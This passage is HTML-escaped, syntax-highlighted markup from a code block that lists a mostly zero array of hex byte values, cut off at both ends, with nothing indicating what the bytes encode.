#BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;73&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;46&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;6E&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;B1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;19&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;BF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;44&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4E&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;E6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;BB&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
